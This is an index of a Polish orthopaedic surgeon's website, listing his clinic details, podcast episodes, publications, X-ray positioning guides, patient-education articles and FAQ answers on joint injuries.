DZIĘCIOŁOWSKI ## Strony - [drMick - Strona główna](https://www.drmick.pl/) - dr Michał DrwięgaMichał Drwięga - ZnanyLekarz.plPracuję w prywatnym ośrodku ortopedycznym Mirai Clinic w Otwocku, gdzie sprawuję funkcję ordynatora W codziennej praktyce zajmuję się leczeniem patologii stawu kolanowego, ramiennego i biodrowego oraz leczeniem urazów sportowych, złamań i deformacji różnych okolic ciała. Nabyte deformacje w obrębie kończyn dolnych zawsze stanowią ciekawe wyzwanie, a dzięki nowoczesnym technologiom, w tym możliwość planowania zabiegów z zastosowaniem wydruków 3D, leczenie tych patologii - [Kontakt](https://www.drmick.pl/kontakt/) - https://www.buzzsprout.com/647176/episodes/17275325-omp-066-historia-miesnia-piersiowego.mp3Podcast: Play in new window | Download (Duration: 26:05 — 35.9MB)Subscribe: RSSNAPISZ DO MNIE Jeśli chcesz pozostawić mi wiadomość lub o coś się spytać – zrób to w tym formularzu. Na dole są również dane kontaktowe do kliniki w której przyjmuje. [contact-form-7 id="153" title="Contact form 1"]Michał Drwięga - ZnanyLekarz.plMirai Clinic ul. Armii Krajowej 8 05-400 Otwock Telefon stacjonarny: 22 417 54 00 Telefon komórkowy: - [o mnie](https://www.drmick.pl/omnie/) - https://www.buzzsprout.com/647176/episodes/17275325-omp-066-historia-miesnia-piersiowego.mp3Podcast: Play in new window | Download (Duration: 26:05 — 35.9MB)Subscribe: RSSWykształcenie i praktyka zawodowa Od marca 2021 objąłem stanowisko Ordynatora nowo otwartej kliniki ortopedycznej MIRAI CLINIC w Otwocku. Od 2021 jestem wykładowcą i instruktorem dla Smith&Nephew Arthroscopy Center of Excellence (SNACE). Od 2017 konsultuję pacjentów w Centrum Medycznym TOMED w Sopocie. W kwietniu 2011 roku uzyskałem tytuł Specjalisty Ortopedii i Traumatologii Narządu Ruchu. Od 2008 do 2017 - [Blog](https://www.drmick.pl/blog/) - https://www.buzzsprout.com/647176/episodes/17275325-omp-066-historia-miesnia-piersiowego.mp3Podcast: Play in new window | Download (Duration: 26:05 — 35.9MB)Subscribe: RSS Czy trzeba usuwać zespolenie? | OMP#068 Czy trzeba usuwać zespolenie? | OMP#068 Ortopedia ogólnie Czy trzeba usuwać zespolenie? | OMP#068Śruby, płytki, gwoździe w kości po złamaniu – usunąć czy zostawić? Wyjaśniam, kiedy usunięcie zespolenia ortopedycznego jest konieczne, a kiedy niepotrzebne.By Michał Drwięga|2025-12-23T21:18:50+01:0023 grudnia, 2025|Categories: Ortopedia ogólnie|Tags: bólpozespoleniu, czyusunąćzespolenie, gwoździeśródszpikowe, gwóźdźwpiszczeli, kiedyusunąćimplant, metalpozłamaniu, - [Media](https://www.drmick.pl/media/) - Moje wystąpienia w TELEWIZJIDomowe testy na starość.Michał Drwięga2024-11-21T21:18:09+01:00 Domowe testy na starość. Domowe testy na starość. Wystąpienia telewizyjne Poranny ból szyi – skąd się bierze i jak sobie z nim radzić?Michał Drwięga2024-02-18T14:03:03+01:00 Poranny ból szyi – skąd się bierze i jak sobie z nim radzić? Poranny ból szyi – skąd się bierze i jak sobie - [Publikacje](https://www.drmick.pl/publikacje/) - Urszula Zdanowicz, Beata Ciszkowska, Marcin Paśnik, Michał Drwięga, Karol Ratajczak, Kamil Fulawka, Yoojin C. Lee, Robert Śmigielski „Evaluation of ACL Graft Remodeling and Prediction of Graft Insufficeincy in Sequenced MRI – Two-Year Follow-Up” Applied Sciences 2021,11,5278. https://doi.org/10.3390/app11115278 Sobczyk, M.Drwięga, J.Banasiewicz, J.Laskowski „Arthroscopic Fixation of Osteochondral Fracture of Head of Femur. Case study” Ortopedia, traumatologia, rehabilitacja - [drMick - Strona główna (old)](https://www.drmick.pl/drmick-strona-glowna-2/) - dr Michał DrwięgaMichał Drwięga - ZnanyLekarz.plMoim głównym zainteresowaniem pozostają mało znane i wykonywane zaledwie przez kilku ortopedów w Polsce zabiegi artroskopowe stawu biodrowego. Biodro można leczyć zanim dojdzie do konieczności założenia protezy! W codziennej praktyce zajmuję się leczeniem patologii stawu ramiennego, kolanowego, biodrowego oraz leczeniem urazów sportowych, złamań i deformacji różnych okolic ciała. Doświadczenie zdobyte w czasie pracy w Warszawskim Szpitalu dla Dzieci wykorzystuję w leczeniu problemów - [Nauka](https://www.drmick.pl/nauka/) - https://www.buzzsprout.com/647176/episodes/17275325-omp-066-historia-miesnia-piersiowego.mp3Podcast: Play in new window | Download (Duration: 26:05 — 35.9MB)Subscribe: RSSWykłady | KonferencjePublikacjeDyplomyObrazy RTG - [Dyplomy i Certyfikaty](https://www.drmick.pl/dyplomy-i-certyfikaty/) - https://www.buzzsprout.com/647176/episodes/17275325-omp-066-historia-miesnia-piersiowego.mp3Podcast: Play in new window | Download (Duration: 26:05 — 35.9MB)Subscribe: RSS[wordpress_file_upload fitmode=”responsive” uploadpatterns=”*.zip,*.jpg” maxsize=”200″ forcefilename=”true” placements=”title/filename+selectbutton+uploadbutton/progressbar/subfolders/userdata/message”] - [Konferencje](https://www.drmick.pl/konferencje/) - https://www.buzzsprout.com/647176/episodes/17275325-omp-066-historia-miesnia-piersiowego.mp3Podcast: Play in new window | Download (Duration: 26:05 — 35.9MB)Subscribe: RSS X.2019 III Zjazd Polskiego Towarzystwa Artroskopowego, Katowice, Polska M.Drwięga „Czy szyć torebkę po artroskopii stawu biodrowego” – wystąpienie ustne V.2019 Myśl Rehabilitacyjna prof. Andrzeja Seyfrieda, Warszawa, Polska M.Drwięga „ Anatomia Funkcjonalna Barku w Aspekcie Zmian Rozwojowych i Ewolucji – wystąpienie ustne I.2019 Sportowiec Amator, Warszawa, Polska M.Drwięga „ Osteotomia - [Spis treści](https://www.drmick.pl/spis-tresci/) - https://www.buzzsprout.com/647176/episodes/17275325-omp-066-historia-miesnia-piersiowego.mp3Podcast: Play in new window | Download (Duration: 26:05 — 35.9MB)Subscribe: RSS2025 (3)23.12. --- Czy trzeba usuwać zespolenie? | OMP#06830.10. --- Artrofibroza po operacji | OMP#06703.06. --- Historia mięśnia piersiowego | OMP#0662024 (7)06.12. --- Czy można wymienić łąkotkę? | OMP#06520.09. --- Czy obojczyk zawsze się zrasta? Historia nie tylko moja. | OMP#06401.09. --- Granice naprawy łąkotki | OMP#06305.05. --- Kaletka. Zapalenie kaletki - [FAQ](https://www.drmick.pl/faq/) - https://www.buzzsprout.com/647176/episodes/17275325-omp-066-historia-miesnia-piersiowego.mp3Podcast: Play in new window | Download (Duration: 26:05 — 35.9MB)Subscribe: RSSWszystkieBarkBiodroKolanoCzy przeszczep komórek macierzystych w biodro coś daje czy nie i czy kopoplastyka od edoprotezy jest mniej inwazyjnaMichał Drwięga2019-08-11T16:37:03+02:00Czy przeszczep komórek macierzystych w biodro coś daje czy nie i czy kopoplastyka od edoprotezy jest mniej inwazyjnaKomórki macierzyste w zwyrodniałym biodrze, mogą czasowo zmniejszyć dolegliwości ## Wpisy - [seedprod](https://www.drmick.pl/seedprod/sp-cs/) ## Portfolio - [Zdjęcie RTG stawu łokciowego w projekcji AP](https://www.drmick.pl/Materialy/lokiecap/) - Pozycja – Pacjent siedzi przy stole RTG, kończyna górna leży zgięta 90 stopni w łokciu na kliszy. Przedramię w pozycji pośredniej – kciuk jest skierowany do góry. Bark, łokieć i nadgarstek jest w jednej, poziomej płaszczyźnie. Promień rentgenowski – skierowany jest pionowo. Promień centralny powinen być zlokalizowany centralnie na nadkłykieć boczny kości ramiennej. Co możemy - [Zdjęcie RTG stawu łokciowego w projekcji bocznej](https://www.drmick.pl/Materialy/lokiecboczny2/) - Pozycja – Pacjent siedzi przy stole RTG, kończyna górna leży zgięta 90 stopni w łokciu na kliszy. Przedramię w pozycji pośredniej – kciuk jest skierowany do góry. Bark, łokieć i nadgarstek jest w jednej, poziomej płaszczyźnie Promień rentgenowski – skierowany jest pionowo. Promień centralny powinen być zlokalizowany centralnie na nadkłykieć boczny kości ramiennej. Co możemy - [RTG stawu łokciowego w projekcji celowanej na głowę kości promieniowej.](https://www.drmick.pl/Materialy/rtg-stawu-lokciowego-w-projekcji-celowanej-na-glowe-kosci-promieniowej/) - Pozycja – Pacjent siedzi przy stole RTG, kończyna górna leży zgięta 90 stopni w łokciu na kliszy. Przedramię w pozycji pośredniej – kciuk jest skierowany do góry. Bark, łokieć i nadgarstek jest w jednej, poziomej płaszczyźnie. Promień rentgenowski – skierowany jest pod kątem 45 stopni, prostopadle do przedramienia. Promień centralny powinen być zlokalizowany centralnie na - [Domowe testy na starość.](https://www.drmick.pl/Materialy/domowe-testy-na-starosc/) - Nasze ciało starzeje się. Od 35 roku życia tracimy sprawność. Istnieją domowe testy, aby sprawdzić w jakiej formie jest nasze ciało. - [Poranny ból szyi - skąd się bierze i jak sobie z nim radzić?](https://www.drmick.pl/Materialy/poranny-bol-szyi/) - Poranne bóle szyi. Rozmawiamy skąd się biorą i jak sobie z nimi radzić. - [HM Cast - gips w którym możesz się kąpać!](https://www.drmick.pl/Materialy/hm-cast-gips-w-ktorym-mozesz-sie-kapac/) - HM Cast - gips w którym możesz się kąpać. - [Żelatyna - czy faktycznie działa na stawy?](https://www.drmick.pl/Materialy/zelatyna/) - Żelatyna - czy faktycznie działa na stawy? - [Znowu o Rwie kulszowej](https://www.drmick.pl/Materialy/znowu-o-rwie-kulszowej/) - Rwa kulszowa - [Ból stawów a dieta](https://www.drmick.pl/Materialy/bol-stawow-a-dieta/) - Ból stawów może wynikać z nieprawidłowej diety. - [Co to są "korzonki"?](https://www.drmick.pl/Materialy/co-to-sa-korzonki/) - Korzonki - [Rwa kulszowa](https://www.drmick.pl/Materialy/rwa-kulszowa/) - Rwa Kulszowa - [Co to jest "przewianie"?](https://www.drmick.pl/Materialy/2926/) - Omawiamy objawy "przewiania" mięśni. - [RTG stopa - projekcja skośna](https://www.drmick.pl/Materialy/rtg-stopa-projekcja-skosna/) - RTG stopa - projekcja skośna - [RTG stopa - projekcja AP](https://www.drmick.pl/Materialy/rtg-stopa-projekcja-ap/) - RTG stopa - projekcja AP - [RTG staw skokowy - projekcja Mortise](https://www.drmick.pl/Materialy/rtg-staw-skokowy-projekcja-mortise/) - RTG staw skokowy - projekcja Mortise - [RTG staw skokowy - projekcja AP](https://www.drmick.pl/Materialy/rtg-staw-skokowy-projekcja-ap/) - RTG staw skokowy - projekcja AP - [RTG staw skokowy - projekcja boczna](https://www.drmick.pl/Materialy/rtg-staw-skokowy-projekcja-boczna/) - RTG staw skokowy - projekcja boczna - [Anatomia RTG barku - projekcja pachowa](https://www.drmick.pl/Materialy/anatomia-rtg-barku-projekcja-pachowa/) - Anatomia RTG barku - projekcja pachowa - [Zdjęcie RTG barku - projekcja West Point](https://www.drmick.pl/Materialy/zdjecie-rtg-barku-projekcja-west-point/) - Zdjęcie RTG stawu ramiennego lewego w projekcji West Point. - [Zdjęcie RTG barku w projekcji Y](https://www.drmick.pl/Materialy/zdjecie-rtg-barku-w-projekcji-y/) - Zdjęcie RTG stawu ramiennego prawego w projekcji Y. - [Zdjęcie RTG barku - projekcja AP](https://www.drmick.pl/Materialy/zdjecie-rtg-barku-projekcja-ap/) - Zdjęcie RTG barku prawego w projekcji AP - [Zdjęcie RTG stawu biodrowego w projekcji AP](https://www.drmick.pl/Materialy/testowe-zdjecie/) - Pozycja – Pacjent standardowo leży równo na plecach z kończynami dolnymi zrotowanymi około 15-25 stopni do wewnątrz – krętarz większy powinien być dokładnie widoczny. Promień rentgenowski – skierowany skierowany pionowo. Promień centralny powinen być zlokalizowany w połowie odległości pomiędzy kolcem biodrowym przednim-górnym a spojeniem łonowym. Co możemy zobaczyć? – Ten widok pozwala zwizualizować potencjalne złamania, - [Zdjęcie RTG stawu biodrowego w projekcji Lauenstein = projekcja żabki](https://www.drmick.pl/Materialy/biodrolauenstein/) - Pozycja – Pacjent standardowo leży równo na plecach z biodrami zgiętymi ok 30-40 stopni oraz odwiedzionymi 45 stopni. (ustawione kończyny przypominają pozycję kończyn żaby) Promień rentgenowski – skierowany skierowany pionowo. Promień centralny powinen być zlokalizowany w połowie odległości pomiędzy kolcem biodrowym przednim-górnym a spojeniem łonowym. Co możemy zobaczyć? – Ten widok pozwala zwizualizować kształt szyjki - [Zdjęcie RTG stawu kolanowego w projekcji AP](https://www.drmick.pl/Materialy/kolenowyap/) - Pozycja – Pacjent leży na wznak. Kaseta rentgenowska jest umieszczona pod kolanem. Promień rentgenowski – skierowany pionowo w dół. Co możemy zobaczyć? – zarys powierzchni kłykci kości udowej i piszczelowej, położenie rzepki, kość strzałkową, - [Zdjęcie RTG stawu kolanowego w projekcji bocznej](https://www.drmick.pl/Materialy/kolanowyboczne/) - Pozycja – Pacjent leży jednoimiennym boku. Kaseta rentgenowska jest umieszczona pod kolanem. Promień rentgenowski – skierowany pionowo w dół. Co możemy zobaczyć? – zarys powierzchni kłykci kości udowej i piszczelowej, położenie (wysokość) rzepki, kość strzałkową, złamania lub deformacje w zakresie tych kości. Przy prawidłowo zrobionym zdjęciu kłykieć przyśrodkowy kości udowej pokrywa się z bocznym - [Zdjęcie RTG stawu kolanowego w projekcji Marchanta](https://www.drmick.pl/Materialy/kolanomarchant/) - Pozycja – Pacjent leży na plecach. Golenie oparte na specjalnej przystawce do stołu zgięte pod kątem 45 stopni. Promień rentgenowski – skierowany z nad głowy badanego w kierunku kolan, po skosie w dół, odchylony 30 stopni od poziomu. Kaseta RTG nad goleniami badanego w przystawce, ustawiona pod kątem 90 stopni do promienia. Co możemy zobaczyć? - [Zdjęcie RTG stawu kolanowego w projekcji PA w obciążeniu (Rosenberg)](https://www.drmick.pl/Materialy/kolanopa/) - Pozycja – Pacjent stoi przodem do kasety. Ugina kolana i opiera je o kasetę. Przytrzymuje się barierki aby móc utrzymać stabilną pozycję. Stopy są ustawione na wprost, odsunięte od ścianki tak, aby przednia powierzchnia goleni była nachylona do przodu pod kątem około 10 stopni. Zapewni to poziome ustawienie tyłopochylonego plateau kości piszczelowej. Kolana zgięte, tak - [Na rowerze tylko w kasku!](https://www.drmick.pl/Materialy/na-rowerze-tylko-w-kasku/) - Na rowerze tylko w kasku! - [Dlaczego stawy trzeszczą?](https://www.drmick.pl/Materialy/dlaczego-stawy-trzeszcza/) - Dlaczego stawy trzeszczą? - [Strzelanie w kręgosłupie i innych stawach](https://www.drmick.pl/Materialy/strzelanie-w-kregoslupie-i-innych-stawach/) - Strzelanie w kręgosłupie i innych stawach - [Ostroga piętowa](https://www.drmick.pl/Materialy/ostroga-pietowa/) - dolegliwości bólowe w okolicy pięty - [Poranne bóle stawów](https://www.drmick.pl/Materialy/poranne-bole-stawow/) - Poranne bóle stawów - [Regeneracja tkanek jak u salamandry](https://www.drmick.pl/Materialy/regeneracja-tkanek-jak-u-salamandry/) - Regeneracja tkanek jak u salamandry - [Osteoporoza](https://www.drmick.pl/Materialy/osteoporoza/) - Osteoporoza - [Witamina D3](https://www.drmick.pl/Materialy/witamina-d3/) - Witamina D3 - [Więzadło krzyżowe przednie](https://www.drmick.pl/Materialy/wiezadlo-krzyzowe-przednie/) - Więzadło krzyżowe przednie - [Jak pokonać ból pleców](https://www.drmick.pl/Materialy/jak-pokonac-bol-plecow/) - Jak pokonać ból pleców - [Niskorosłość](https://www.drmick.pl/Materialy/niskoroslosc/) - Niskorosłość - [Woda w kolanie](https://www.drmick.pl/Materialy/woda-w-kolanie/) - Woda w kolanie Płyn, który się zbiera, nie jest wodą, dlatego nie może łatwo się wchłonąć. Znamy 3 główne przyczyny zbierania się płynu w obrębie stawu kolanowego. Po urazie w stawie kolanowym zbiera się krew. Czasem wystarczy, że uderzysz się lekko o róg stołu, a już jest problem, bo doszło do uszkodzenia naczynia krwionośnego. Zmiany - [Skręcenie i zwichnięcie kończyny to prawie to samo co złamanie](https://www.drmick.pl/Materialy/skreceniezwichniecie-to-zlamanie/) - Skręcenie i zwichnięcie kończyny to prawie to samo co złamanie Na temat urazów kończyn i właściwego postępowania narosło wiele mitów. Ortopeda Michał Drwięga pomoże ci odróżnić zwichnięcie od złamania czy skręcenia Lekarz nie tylko objaśnia, jak objawiają się te urazy, ale także, na modelu, pokazuje, co dokładnie dzieje się z uszkodzoną kończyną. Dlaczego w przypadku - [Dlaczego kolano tak często boli i co się w nim psuje?](https://www.drmick.pl/Materialy/dlaczego-kolano-czesto-boli/) - Łąkotka i więzadło kolanowe przednie: dwie struktury, które najczęściej zawodzą w kolanie. Kolano boli nas z dwóch powodów: urazu lub przeciążenia. Staw kolanowy okazał się konstrukcyjnym wyzwaniem nawet dla natury, bo działają na niego wyjątkowo duże siły. Czujesz czasem, na przykład stając na krawężniku, że kolano jest niestabilne, noga 'ucieka’? To zapewne problem z więzadłem. - [Ręka znowu złamana. Operacja to lepsze wyjście?](https://www.drmick.pl/Materialy/reka-znowu-zlamana/) - Ręka znowu złamana. Operacja to lepsze wyjście? Niektóre dzieci łamią się dosłownie po każdym urazie, inne wydają się niezniszczalne. Skąd biorą się różnice? To, jak często dziecko doznaje urazu, zależy od jego aktywności i 'zdarności’. Jeśli dla naszego malca nie ma drzewa, na które nie wejdzie i płotu, którego nie przeskoczy, prawdopodobieństwo kłopotów jest większe. - [Rekonstrukcja więzadła krzyżowego przedniego](https://www.drmick.pl/Materialy/rekonstrukcja-wiezadla-krzyzowego-przedniego/) - Rekonstrukcja więzadła krzyżowego przedniego Zerwanie więzadła krzyżowego przedniego to poważny uraz kolana. Jeżeli po tej kontuzji chcesz wrócić do sportu, może być konieczne przeprowadzenie rekonstrukcji, o której w tym odcinku opowiadam. - [Dolegliwości bólowe w okolicy piątej kości śródstopia](https://www.drmick.pl/Materialy/dolegliwosci-bolowe-srodstopia/) - dolegliwości bólowe w okolicy piątej kości śródstopia Młodzi piłkarze często narzekają na ból w okolicy zewnętrznej strony stopy. Najczęściej nie jest to objaw poważnego problemu, ale należy wnikliwie sprawdzić, z czego wynika. - [Zwichnięcie rzepki](https://www.drmick.pl/Materialy/zwichniecie-rzepki/) - Zwichniecie rzepki Problemy z rzepką, jak właśnie zwichnięcie, należy traktować niezwykle poważnie. – Brak odpowiedniej oceny urazu może spowodować nieodwracalne zmiany w kolanie - [Kontuzje kolana - urazy skrętne](https://www.drmick.pl/Materialy/kontuzje-kolana-urazy-skretne/) - Kontuzje kolana – urazy skrętne Staw kolanowy to największy staw w organizmie człowieka. Z różnych powodów często dochodzi do urazów właśnie tej części ciała. - [Złuszczenie nasady dalszej kości strzałkowej](https://www.drmick.pl/Materialy/zluszczenie-nasady-dalszej-kosci-strzalkowej/) - Złuszczenie nasady dalszej kości strzałkowej Po skręceniu stawu skokowego u dzieci może dojść do złuszczenia nasady dalszej kości strzałkowej. To bardzo poważne uszkodzenie, którego nie wolno lekceważyć. - [Skręcenie stawu skokowego](https://www.drmick.pl/Materialy/skrecenie-stawu-skokowego/) - Skręcenie stawu skokowego Piłkarze często narzekają na skręcenia stawu skokowego. U dzieci prawidłowe leczenie tego urazu jest kluczowe. - [Poznaj kontuzję - uszkodzenia mięśni przywodzicieli uda](https://www.drmick.pl/Materialy/uszkodzenia-miesni-przywodzicieli/) - Poznaj kontuzję – uszkodzenia mięśni przywodzicieli uda Młodzi piłkarze często mają problemy z mięśniami przywodzicieli. Z czego one wynikają? Jak zapobiegać takim urazom? - [Fałd błony maziowej](https://www.drmick.pl/Materialy/fald-blony-maziowej/) - Fałd błony maziowej Młodzi zawodnicy często narzekają na bóle po wewnętrznej stronie stawu kolanowego. Kiedy jednak poddadzą się badaniom, to wyniki nie wskazują na żadne nieprawidłowości. Skąd bierze się ból i jakie są sposoby leczenia? - [Leczenie niestabilności rzepki](https://www.drmick.pl/Materialy/leczenie-niestabilnosci-rzepki/) - Leczenie niestabilności rzepki Problemy z rzepką często dotykają młodych piłkarzy. Jakie są sposoby radzenia sobie z jej niestabilnością? - [Zmiany przeciążeniowe kolana](https://www.drmick.pl/Materialy/zmiany-przeciazeniowe-kolana/) - Zmiany przeciążeniowe kolana Osoby bardzo aktywne sportowo muszą szczególnie uważać na swoje kolana. Często bowiem dochodzi u nich do zmian przeciążeniowych w stawie. - [Poznaj kontuzje - urazy ścięgna Achillesa](https://www.drmick.pl/Materialy/urazy-sciegna-achillesa/) - Poznaj kontuzje – urazy ścięgna Achillesa Patologia ścięgna Achillesa jest bardziej charakterystyczna dla nieco starszych zawodników. Problemy z tym ścięgnem mogą mieć już nastolatkowie. - [Choroba Severa - ból pięty](https://www.drmick.pl/Materialy/choroba-severa-bol-piety/) - choroba Severa – ból pięty Młodzi piłkarze po zajęciach czasami skarżą się na ból pięty. Może to wynikać z dobrania złego, zbyt małego obuwia. Zdarza się jednak, że te problemy wynikają z choroby Severa. - [Jak rozpoznać i leczyć płaskostopie](https://www.drmick.pl/Materialy/jak-rozpoznac-i-leczyc-plaskostopie/) - Jak rozpoznać i leczyć płaskostopie Wielu rodziców martwi się, że ich dzieci mają płaskie stopy. Czasami pojawiające się problemy są jedynie przejściowe. Bardzo ważna jest w takich przypadkach diagnoza. — W razie wątpliwości koniecznie należy konsultować się z ortopedą - [W jaki sposób można przyspieszyć leczenie urazów?](https://www.drmick.pl/Materialy/jak-przyspieszyc-leczenie-urazow/) - W jaki sposób można przyspieszyć leczenie urazów? Długie leczenie urazów to uciążliwość dla każdego piłkarza. Są jednak sposoby, dzięki którym można przyspieszyć proces leczenia. ## FAQs - [Boli mnie bark w nocy. W ciągu dnia jakoś funkcjonuję. Miałem kiedyś niewielki uraz (upadek na rękę) ale potem było ok. Czy coś z tym można zrobić?](https://www.drmick.pl/faq-items/boli-bark-nocy/) - Dolegliwości bólowe barku, występujące w nocy, ustępujące w dzień, wynikają z kompresji przestrzeni podbarkowej. W nocy na rękę nie działa siła grawitacji, ściągająca ją w dół i głowa kości ramiennej dociska do wyrostka barkowego. Powodem może być zwykła niewydolność mięśni, ale mogą one być również poważnie uszkodzone. Koniecznie jest badanie kliniczne i badania dodatkowe: RTG - [Nie mogę sięgnąć ręką za plecy, a ból jest z przodu barku. Co robić?](https://www.drmick.pl/faq-items/nie-moge-siegnac/) - Objawy wskazują na niewydolność/uszkodzenie ścięgna mięśnia podłopatkowego. Potrzebne badanie kliniczne i diagnostyka obrazowa. - [Doszło do zwichnięcia stawu ramiennego. Czy unieruchomienie po nastawieniu wystarczy aby wrócić do pełnej sprawności?](https://www.drmick.pl/faq-items/doszlo-zwichniecia-stawu/) - W zależności od wieku, mamy większe lub mniejsze szanse na powtórne zwichnięcie po leczeniu unieruchomieniem. Ocenia się że u osób w wieku 20-30 lat ryzyko nawrotu zwichnięcia przekracza 50%. Ryzyko spada wraz z wiekiem. Przy pierwszorazowym zwichnięciu może dojść do szeregu uszkodzeń (oderwanie obrąbka, złamanie krawędzi panewki, oderwanie więzadeł obrąbkowo-ramiennych). Ich zła diagnostyka i nieprawidłowe - [Na nartach urwałem więzadło krzyżowe przednie. Czy wzmacniając mięśnie mogę uniknąć operacji?](https://www.drmick.pl/faq-items/nartach-urwalem-wiezadlo/) - Istnieją takie poglądy, jednak mięśnie (stabilizatory czynne), nie są w stanie zastąpić stabilizacji biernej. Na co dzień przy ostrożnym funkcjonowaniu może nic się nie dziać. Jednak w czasie intensywniejszej aktywności lub przy niezamierzonych ruchach, mięśnie mogą nie zdążyć zareagować i dojdzie do nieprawidłowego ruchu w stawie, który może uszkodzić kolejne struktury w stawie – np. - [Syn doznał urazu i spuchło mu kolano. Stwierdzono przebyte zwichnięcie rzepki. Teraz ma być w gipsie przez 3 tygodnie. Czy to wystarczy?](https://www.drmick.pl/faq-items/syn-doznal-urazu/) - Jakie badania wykonywano? Czy dziecko miało badanie Rezonansem Magnetycznym? Przy zwichnięciach rzepki dochodzi do uszkodzenia więzadła rzepkowo-udowego przyśrodkowego i może dojść do uszkodzeń chrząstki. To pierwsze przy odrobinie szczęścia, ma szansę podgoić się przy unieruchomieniu. Jeśli jednak doszło do dużych uszkodzeń powierzchni chrząstki (na rzepce lub na kłykciu bocznym kości udowej) to trzeba myśleć o - [W RM wyszło, że mam uszkodzenie łąkotki typu „rączka od wiadra”. Lekarz twierdzi że trzeba usunąć uszkodzony fragment łąkotki i to wystarczy ?](https://www.drmick.pl/faq-items/raczka-wiadra/) - Usunięcie uszkodzonej łąkotki typu „rączka od wiadra” spowoduje nieodwracalny, masywny ubytek łąkotki. Jej brak doprowadzi z kolei do powstania zmian zwyrodnieniowych. Są oczywiście wyjątki, ale tego typu uszkodzenia leczymy nastawiając łąkotkę na miejsce i doszywając ją odpowiednio. Ten rodzaj uszkodzenia rokuje bardzo dobrym gojeniem. Ratujmy łąkotki !!! - [Boli mnie z boku biodra. Nie mogę biegać ani jeździć na rowerze. Nie mogę się również położyć w nocy na tym boku. Nie miałem urazu. Co robić ?](https://www.drmick.pl/faq-items/boli-boku-biodra/) - Objawy mogą oznaczać zapalenie kaletki krętarza większego. Potrzebne jest RTG i USG. Po potwierdzeniu diagnozy i wykluczeniu istnienia osteofitów czy uszkodzenia przyczepu mięśni pośladkowych, przechodzimy do leczenia. Doustne leki przeciwzapalne, podanie do kaletki koncentratu osocza bogatego w płytkopochodne czynniki wzrostu (lub rzadziej lek sterydowego, tzw. Blokady), fizjoterapia – rozciąganie pasma biodrowo-piszczelowego, stabilizacja miednicy, wzmocnienie mięśni - [Mam do wykonania badanie rezonansem magnetycznym prawego barku bezkontrastowe, w ofercie są badania aparatem 1,5T oraz 3T. Tu pytanie czy 1,5T w zupełności do takiego badania wystarczy czy należałoby je wykonać w 3T? Oczywiście 3T jest droższe od 1,5T.](https://www.drmick.pl/faq-items/badanie-rezonansem/) - Z jakiego powodu ma być wykonane badanie? Jeśli szukamy uszkodzeń wewnąrzstawowych, obrąbka, stożka rotatorów to dobrze zaplanowane badanie 1,5 T powinno wystarczyć ALE UWAGA z kontrastem dostawowym. Bez kontrastu badanie NMR barku dramatycznie traci na czułości i jest niewiele warte. Jeśli więc bez kontrastu to 3T, choć idealnie byłoby 3T z kontrastem 🙂 - [Czy przeszczep komórek macierzystych w biodro coś daje czy nie i czy kopoplastyka od edoprotezy jest mniej inwazyjna](https://www.drmick.pl/faq-items/przeszczep-komorek-macierzystych/) - Komórki macierzyste w zwyrodniałym biodrze, mogą czasowo zmniejszyć dolegliwości bólowe. Raczej wiele nie zregenerują. Przy kapoplastyce nie odcina się głowy i szyjki kość udowej, można więc powiedzieć , że jest mniej inwazyjna. Przy kapoplastyce implant głowy jest duży więc bardziej anatomiczny. Staw zachowuje lepszą geometrię. Dojście operacyjne i rozległość traumy tkanek jest podobna. ## Kategorie - [Bez kategorii](https://www.drmick.pl/category/bez-kategorii/) - [Bark](https://www.drmick.pl/category/bark/) - [Biodro](https://www.drmick.pl/category/biodro/) - [Kolano](https://www.drmick.pl/category/kolano/) - [Ramię](https://www.drmick.pl/category/ramie/) - [Ortopedia ogólnie](https://www.drmick.pl/category/ortopedia-ogolnie/) - [Masterszew](https://www.drmick.pl/category/masterszew/) - [Stopa](https://www.drmick.pl/category/stopa/) ## Tagi - [konferencje](https://www.drmick.pl/tag/konferencje/) - [Kursy](https://www.drmick.pl/tag/kursy/) - [Operacja](https://www.drmick.pl/tag/operacja/) - [bark](https://www.drmick.pl/tag/bark/) - [ból](https://www.drmick.pl/tag/bol/) - [kaletka](https://www.drmick.pl/tag/kaletka/) - [stożek](https://www.drmick.pl/tag/stozek/) - [niestabilność](https://www.drmick.pl/tag/niestabilnosc/) - [ortopedia](https://www.drmick.pl/tag/ortopedia/) - [podcast](https://www.drmick.pl/tag/podcast/) - [pasja](https://www.drmick.pl/tag/pasja/) - [premiera](https://www.drmick.pl/tag/premiera/) - [krzyżowe](https://www.drmick.pl/tag/krzyzowe/) - [więzadło](https://www.drmick.pl/tag/wiezadlo/) - [acl](https://www.drmick.pl/tag/acl/) - [zerwanie](https://www.drmick.pl/tag/zerwanie/) - [kolano](https://www.drmick.pl/tag/kolano/) - [internalbracing](https://www.drmick.pl/tag/internalbracing/) - [rekonstrukcja](https://www.drmick.pl/tag/rekonstrukcja/) - [przednie](https://www.drmick.pl/tag/przednie/) - [anteriorcruciateligament](https://www.drmick.pl/tag/anteriorcruciateligament/) - [zwapnienie](https://www.drmick.pl/tag/zwapnienie/) - [zapalenie](https://www.drmick.pl/tag/zapalenie/) - [nadgrzebieniowy](https://www.drmick.pl/tag/nadgrzebieniowy/) - [dziecko](https://www.drmick.pl/tag/dziecko/) - [rzepka](https://www.drmick.pl/tag/rzepka/) - [plika](https://www.drmick.pl/tag/plika/) - [OSD](https://www.drmick.pl/tag/osd/) - [kolano skoczka](https://www.drmick.pl/tag/kolano-skoczka/) - [chrzęszczenie](https://www.drmick.pl/tag/chrzeszczenie/) - [konflikt](https://www.drmick.pl/tag/konflikt/) - [przyparcie](https://www.drmick.pl/tag/przyparcie/) - [łąkotka](https://www.drmick.pl/tag/lakotka/) - [tarczowata](https://www.drmick.pl/tag/tarczowata/) - [dzwudzielna](https://www.drmick.pl/tag/dzwudzielna/) - [osteochondritis](https://www.drmick.pl/tag/osteochondritis/) - [dissecans](https://www.drmick.pl/tag/dissecans/) - [biodro](https://www.drmick.pl/tag/biodro/) - [udowo-panewkwy](https://www.drmick.pl/tag/udowo-panewkwy/) - [CAM](https://www.drmick.pl/tag/cam/) - [PINCER](https://www.drmick.pl/tag/pincer/) - [chrząstka](https://www.drmick.pl/tag/chrzastka/) - [ortopeda](https://www.drmick.pl/tag/ortopeda/) - [specjalista](https://www.drmick.pl/tag/specjalista/) - [rezydent](https://www.drmick.pl/tag/rezydent/) - [praca](https://www.drmick.pl/tag/praca/) - [codzienność](https://www.drmick.pl/tag/codziennosc/) - [prezentacja](https://www.drmick.pl/tag/prezentacja/) - [szkolenie](https://www.drmick.pl/tag/szkolenie/) - 